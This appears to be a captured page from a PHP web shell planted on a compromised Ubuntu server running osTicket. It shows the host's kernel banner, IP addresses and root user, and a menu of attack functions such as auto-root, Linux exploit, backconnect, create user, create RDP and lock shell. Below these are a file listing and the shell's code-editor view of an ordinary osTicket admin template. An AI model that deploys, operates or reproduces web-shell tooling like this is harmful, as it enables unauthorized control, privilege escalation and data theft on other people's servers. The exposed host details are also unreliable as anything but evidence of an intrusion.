Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
staff /
[ HOME SHELL ]
Name
Size
Permission
Action
templates
[ DIR ]
drwxr-xr-x
apikey.inc.php
4.66
KB
-rw-r--r--
apikeys.inc.php
7.6
KB
-rw-r--r--
banlist.inc.php
8.71
KB
-rw-r--r--
banrule.inc.php
2.93
KB
-rw-r--r--
cannedresponse.inc.php
6.09
KB
-rw-r--r--
cannedresponses.inc.php
8.02
KB
-rw-r--r--
categories.inc.php
7.03
KB
-rw-r--r--
category.inc.php
6.48
KB
-rw-r--r--
dashboard.inc.php
6.85
KB
-rw-r--r--
department.inc.php
22.65
KB
-rw-r--r--
departments.inc.php
10.45
KB
-rw-r--r--
directory.inc.php
5.86
KB
-rw-r--r--
dynamic-form.inc.php
15.15
KB
-rw-r--r--
dynamic-forms.inc.php
5.26
KB
-rw-r--r--
dynamic-list.inc.php
11.09
KB
-rw-r--r--
dynamic-lists.inc.php
4.62
KB
-rw-r--r--
email.inc.php
17.89
KB
-rw-r--r--
emails.inc.php
7.03
KB
-rw-r--r--
faq-categories.inc.php
6.88
KB
-rw-r--r--
faq-category.inc.php
3.02
KB
-rw-r--r--
faq-view.inc.php
3.52
KB
-rw-r--r--
faq.inc.php
10.33
KB
-rw-r--r--
filter.inc.php
18.87
KB
-rw-r--r--
filters.inc.php
9.23
KB
-rw-r--r--
footer.inc.php
3.88
KB
-rw-r--r--
header.inc.php
5.82
KB
-rw-r--r--
helptopic.inc.php
20.7
KB
-rw-r--r--
helptopics.inc.php
9.74
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
login.header.php
1.09
KB
-rw-r--r--
login.tpl.php
5.67
KB
-rw-r--r--
org-view.inc.php
4.45
KB
-rw-r--r--
orgs.inc.php
8.39
KB
-rw-r--r--
page.inc.php
7.86
KB
-rw-r--r--
pages.inc.php
7.64
KB
-rw-r--r--
plugin-add.inc.php
1.22
KB
-rw-r--r--
plugin.inc.php
1.54
KB
-rw-r--r--
plugins.inc.php
5.38
KB
-rw-r--r--
profile.inc.php
18.14
KB
-rw-r--r--
pwreset.login.php
1.77
KB
-rw-r--r--
pwreset.php
1.7
KB
-rw-r--r--
pwreset.sent.php
1.55
KB
-rw-r--r--
queue.inc.php
15.59
KB
-rw-r--r--
queues-ticket.inc.php
4.5
KB
-rw-r--r--
role.inc.php
4.88
KB
-rw-r--r--
roles.inc.php
5.5
KB
-rw-r--r--
schedule.inc.php
4.53
KB
-rw-r--r--
schedules.inc.php
5.34
KB
-rw-r--r--
settings-agents.inc.php
11.69
KB
-rw-r--r--
settings-alerts.inc.php
10.71
KB
-rw-r--r--
settings-autoresp.inc.php
2.48
KB
-rw-r--r--
settings-emails.inc.php
9.76
KB
-rw-r--r--
settings-kb.inc.php
2.18
KB
-rw-r--r--
settings-pages.inc.php
15.32
KB
-rw-r--r--
settings-system.inc.php
22.5
KB
-rw-r--r--
settings-tasks.inc.php
15.03
KB
-rw-r--r--
settings-tickets.inc.php
13.36
KB
-rw-r--r--
settings-users.inc.php
8.6
KB
-rw-r--r--
slaplan.inc.php
5.93
KB
-rw-r--r--
slaplans.inc.php
7.99
KB
-rw-r--r--
staff.inc.php
20.18
KB
-rw-r--r--
staffmembers.inc.php
12.63
KB
-rw-r--r--
syslogs.inc.php
8.57
KB
-rw-r--r--
system.inc.php
7.55
KB
-rw-r--r--
task-view.inc.php
93
B
-rw-r--r--
tasks.inc.php
18.23
KB
-rw-r--r--
team.inc.php
8.73
KB
-rw-r--r--
teams.inc.php
8.14
KB
-rw-r--r--
template.inc.php
7.21
KB
-rw-r--r--
templates.inc.php
8.25
KB
-rw-r--r--
ticket-edit.inc.php
8.58
KB
-rw-r--r--
ticket-open.inc.php
23.42
KB
-rw-r--r--
ticket-relations.inc.php
1.25
KB
-rw-r--r--
ticket-tasks.inc.php
7.29
KB
-rw-r--r--
ticket-view.inc.php
69.13
KB
-rw-r--r--
tpl.inc.php
5.79
KB
-rw-r--r--
user-view.inc.php
9.22
KB
-rw-r--r--
users.inc.php
12.64
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : filter.inc.php
<?php if(!defined('OSTADMININC') || !$thisstaff || !$thisstaff->isAdmin()) die('Access Denied'); $matches=Filter::getSupportedMatches(); $match_types=Filter::getSupportedMatchTypes(); $info = $qs = array(); if($filter && $_REQUEST['a']!='add'){ $title=__('Update Filter'); $action='update'; $submit_text=__('Save Changes'); $info=array_merge($filter->getInfo()); $info['id']=$filter->getId(); $info['rules'] = $filter->getRules(); $qs += array('id' => $filter->getId()); }else { $title=__('Add New Filter'); $action='add'; $submit_text=__('Add Filter'); $info['isactive']=isset($info['isactive'])?$info['isactive']:0; $info['rules'] = array(); $qs += array('a' => $_REQUEST['a']); } $info=Format::htmlchars(($errors && $_POST)?$_POST:$info); ?> <form action="filters.php?<?php echo Http::build_query($qs); ?>" method="post" class="save"> <?php csrf_token(); ?> <input type="hidden" name="do" value="<?php echo $action; ?>"> <input type="hidden" name="a" value="<?php echo Format::htmlchars($_REQUEST['a']); ?>"> <input type="hidden" name="id" value="<?php echo $info['id']; ?>"> <h2><?php echo $title; ?> <?php if (isset($info['name'])) { ?><small> — <?php echo $info['name']; ?></small> <?php } ?> </h2> <table class="form_table" width="940" border="0" cellspacing="0" cellpadding="2"> <thead> <tr> <th colspan="2"> <em><?php echo __('Filters are executed based on execution order. Filter can target specific ticket source.');?></em> </th> </tr> </thead> <tbody> <tr> <td width="180" class="required"> <?php echo __('Filter Name');?>: </td> <td> <input type="text" size="30" name="name" value="<?php echo $info['name']; ?>" autofocus> <span class="error">* <?php echo $errors['name']; ?></span> </td> </tr> <tr> <td width="180" class="required"> <?php echo __('Execution Order');?>: </td> <td> <input type="text" size="6" name="execorder" value="<?php echo $info['execorder']; ?>"> <em>(1...99)</em> <span class="error">* <?php echo $errors['execorder']; ?></span> <label class="inline checkbox"> <input type="checkbox" name="stop_onmatch" value="1" <?php echo $info['stop_onmatch']?'checked="checked"':''; ?> > <?php echo __('<strong>Stop</strong> processing further on match!');?> </label> <i class="help-tip icon-question-sign" href="#execution_order"></i> </td> </tr> <tr> <td width="180" class="required"> <?php echo __('Filter Status');?>: </td> <td> <input type="radio" name="isactive" value="1" <?php echo $info['isactive']?'checked="checked"':''; ?>> <?php echo __('Active'); ?> <input type="radio" name="isactive" value="0" <?php echo !$info['isactive']?'checked="checked"':''; ?> > <?php echo __('Disabled'); ?> <span class="error">* </span> </td> </tr> <tr> <td width="180" class="required"> <?php echo __('Target Channel');?>: </td> <td> <select name="target"> <option value="">— <?php echo __('Select a Channel');?> —</option> <?php foreach(Filter::getTargets() as $k => $v) { echo sprintf('<option value="%s" %s>%s</option>', $k, (($k==$info['target'])?'selected="selected"':''), $v); } $sql='SELECT email_id,email,name FROM '.EMAIL_TABLE.' email ORDER by name'; if(($res=db_query($sql)) && db_num_rows($res)) { echo sprintf('<OPTGROUP label="%s">', __('System Emails')); while(list($id,$email,$name)=db_fetch_row($res)) { $selected=($info['email_id'] && $id==$info['email_id'])?'selected="selected"':''; if($name) $email=Format::htmlchars("$name <$email>"); echo sprintf('<option value="%d" %s>%s</option>',$id,$selected,$email); } echo '</OPTGROUP>'; } ?> </select> <span class="error">* <?php echo $errors['target']; ?></span> <i class="help-tip icon-question-sign" href="#target_channel"></i> </td> </tr> </tbody> </table> <ul class="clean tabs" style="margin-top:20px;" id="filter-tabs"> <li class="active"><a href="#filter_rules"><i class="icon-filter"></i> <?php echo __('Filter Rules'); ?></a></li> <li><a href="#filter_actions"><i class="icon-bolt"></i> <?php echo __('Filter Actions'); ?></a></li> <li><a href="#internal_notes"><i class="icon-file-text-alt"></i> <?php echo __('Internal Notes'); ?></a></li> </ul> <!-- ====================== FILTER RULES ========================== --> <div class="tab_content" id="filter_rules"> <table class="form_table" width="940" border="0" cellspacing="0" cellpadding="2"> <thead> <tr> <th colspan="2" style="text-align:left;"> <em><strong><?php echo __('Filter Rules');?></strong>: <?php echo __('Rules are applied based on the criteria.');?> <span class="error">* <?php echo $errors['rules']; ?></span></em> </th> </tr> </thead> <tbody id="rules"> <tr> <td colspan=2> <em><?php echo __('Rules Matching Criteria');?>:</em> <label> <input type="radio" name="match_all_rules" value="1" <?php echo $info['match_all_rules']?'checked="checked"':''; ?>> <?php echo __('Match All');?> </label> <span style="display:inline-block;width:10px"> </span> <label> <input type="radio" name="match_all_rules" value="0" <?php echo !$info['match_all_rules']?'checked="checked"':''; ?>> <?php echo __('Match Any');?> </label> <span class="error">*</span> <em>(<?php echo __('case-insensitive comparison');?>)</em> <i class="help-tip icon-question-sign" href="#rules_matching_criteria"></i> </td> </tr> <?php foreach ($info['rules'] as $i=>$rule) { ?> <tr> <td colspan="2"> <select style="max-width: 200px;" name="rules[<?php echo $i; ?>][w]"> <option value="">— <?php echo __('Select One');?> —</option> <?php foreach ($matches as $group=>$ms) { ?> <optgroup label="<?php echo __($group); ?>"><?php foreach ($ms as $k=>$v) { $sel=($rule["w"]==$k)?'selected="selected"':''; echo sprintf('<option value="%s" %s>%s</option>', $k,$sel,__($v)); } ?> </optgroup> <?php } ?> </select> <select name="rules[<?php echo $i; ?>][h]"> <option value="0">— <?php echo __('Select One');?> —</option> <?php foreach($match_types as $k=>$v){ $sel=($rule["h"]==$k)?'selected="selected"':''; echo sprintf('<option value="%s" %s>%s</option>', $k,$sel,$v); } ?> </select> <input type="text" size="60" name="rules[<?php echo $i; ?>][v]" value="<?php echo $rule["v"]; ?>"> <div class="pull-right" style="padding-right:20px;"><a href="#" class="clearrule" onclick="javascript: $(this).closest('tr').remove();">(<?php echo __('clear');?>)</a></div> <div class="error"><?php echo $errors["rule_$i"]; ?></div> </td> </tr> <?php $maxi = max($maxi ?: 0, $i+1); } ?> </tbody> <tbody class="hidden" id="new-rule-template"> <tr> <td colspan="2"> <select style="max-width: 200px;" data-name="rulew"> <option value="">— <?php echo __('Select One');?> —</option> <?php foreach ($matches as $group=>$ms) { ?> <optgroup label="<?php echo __($group); ?>"><?php foreach ($ms as $k=>$v) { echo sprintf('<option value="%s">%s</option>', $k,__($v)); } ?> </optgroup> <?php } ?> </select> <select data-name="ruleh"> <option value="0">— <?php echo __('Select One');?> —</option> <?php foreach($match_types as $k=>$v){ echo sprintf('<option value="%s">%s</option>', $k,$v); } ?> </select> <input type="text" size="60" data-name="rulev"> </td> </tr> </tbody> </table> <div style="padding: 5px"> <button class="green button" type="button" id="add-rule"> <i class="icon-plus-sign"></i> <?php echo __('Add Rule'); ?> </button> </div> </div> <!-- ======================= FILTER ACTIONS ========================= --> <div class="tab_content hidden" id="filter_actions"> <table class="form_table" width="940" border="0" cellspacing="0" cellpadding="2"> <thead> <tr> <th colspan="2"> <em><strong><?php echo __('Filter Actions');?></strong>: <div><?php echo __('Can be overridden by other filters depending on processing order.'); ?><br/><?php echo __('Actions are executed in the order declared below'); ?></div></em> </th> </tr> </thead> <tbody id="dynamic-actions" class="sortable-rows"> <?php $existing = array(); if ($filter) { foreach ($filter->getActions() as $A) { $_warn = ''; $existing[] = $A->type; $config = JsonDataParser::parse($A->configuration); if($A->type == 'dept') { $errors['topic_id'] = ''; $dept = Dept::lookup($config['dept_id']); if($dept && !$dept->isActive()) $_warn = sprintf(__('%s must be active'), __('Department')); } elseif($A->type == 'topic') { $errors['dept_id'] = ''; $topic = Topic::lookup($config['topic_id']); if($topic && !$topic->isActive()) $_warn = sprintf(__('%s must be active'), __('Help Topic')); } ?> <tr style="background-color:white"><td><i class="icon-sort icon-large icon-muted"></i> <?php echo $A->getImpl()->getName(); ?>:</td> <td> <div style="position:relative"><?php $form = $A->getImpl()->getConfigurationForm($_POST ?: false); // XXX: Drop this when the ORM supports proper caching $form->isValid(); include STAFFINC_DIR . 'templates/dynamic-form-simple.tmpl.php'; if($_warn) { ?> <span class="error">* <?php echo $_warn; ?></span> <?php } ?> <input type="hidden" name="actions[]" value="<?php echo $A->getId() ? "I".$A->getId() : "N".$A->getImpl()->getType(); ?>"/> <div class="pull-right" style="position:absolute;top:2px;right:2px;"> <a href="#" title="<?php echo __('clear'); ?>" onclick="javascript: if (!confirm(__('You sure?'))) return false; $(this).closest('td').find('input[name=\'actions[]\']') .val(function(i,v) { return 'D' + v.substring(1); }); $(this).closest('tr').fadeOut(400, function() { $(this).hide(); }); return false;"><i class="icon-trash"></i></a> </div> </div> </td> </tr> <?php } } ?> </tbody> </table> <div style="padding: 5px"> <i class="icon-plus-sign"></i> <select name="new-action" id="new-action-select" onchange="javascript: $('#new-action-btn').trigger('click');"> <option value="">— <?php echo __('Select an Action'); ?> —</option> <?php $current_group = ''; foreach (FilterAction::allRegistered() as $group=>$actions) { if ($group && $current_group != $group) { if ($current_group) echo '</optgroup>'; $current_group = $group; ?><optgroup label="<?php echo Format::htmlchars($group); ?>"><?php } foreach ($actions as $type=>$name) { ?> <option data-title="<?php echo $name; ?>" value="<?php echo $type; ?>" data-multi-use="<?php echo $mu = FilterAction::lookupByType($type)->hasFlag(TriggerAction::FLAG_MULTI_USE); ?> " <?php if (in_array($type, $existing) && !$mu) echo 'disabled="disabled"'; ?>><?php echo $name; ?></option> <?php } } ?> </select> <button id="new-action-btn" type="button" class="inline green button" onclick="javascript: var dropdown = $('#new-action-select'), selected = dropdown.find(':selected'); dropdown.val(''); $('#dynamic-actions') .append($('<tr></tr>') .append($('<td></td>') .text(selected.data('title') + ':') ).append($('<td></td>') .append($('<em></em>').text(__('Loading ...'))) .load('ajax.php/filter/action/' + selected.val() + '/config', function() { if (!selected.data('multiUse')) selected.prop('disabled', true); }) ) ).append( $('<input>').attr({type:'hidden',name:'actions[]',value:'N'+selected.val()}) );"><?php echo __('Add'); ?> </button> </div> </div> <!-- ======================== INTERNAL NOTES ======================== --> <div class="tab_content hidden" id="internal_notes"> <table class="form_table" width="940" border="0" cellspacing="0" cellpadding="2"> <thead> <tr> <th colspan="2"> <em><strong><?php echo __('Internal Notes');?></strong>: <?php echo __("Be liberal, they're internal");?></em> </th> </tr> </thead> <tbody> <tr> <td colspan=2> <textarea class="richtext no-bar" name="notes" cols="21" rows="8" style="width: 80%;"><?php echo $info['notes']; ?></textarea> </td> </tr> </tbody> </table> </div> <p style="text-align:center;"> <input type="submit" name="submit" value="<?php echo $submit_text; ?>"> <input type="reset" name="reset" value="<?php echo __('Reset');?>"> <input type="button" name="cancel" value="<?php echo __('Cancel');?>" onclick='window.location.href="filters.php"'> </p> </form> <script type="text/javascript"> var fixHelper = function(e, ui) { ui.children().each(function() { $(this).width($(this).width()); }); return ui; }; $(function() { $('#dynamic-actions').sortable({helper: fixHelper, opacity: 0.5}); var next = <?php echo $maxi ?: 0; ?>; $('#add-rule').click(function() { var clone = $('#new-rule-template tr').clone(); clone.find('[data-name=rulew]').attr('name', 'rules['+next+'][w]'); clone.find('[data-name=ruleh]').attr('name', 'rules['+next+'][h]'); clone.find('[data-name=rulev]').attr('name', 'rules['+next+'][v]'); clone.appendTo('#rules'); next++; }); <?php if (!$info['rules']) { ?> $('#add-rule').trigger('click').trigger('click'); <?php } ?> }); </script>
Close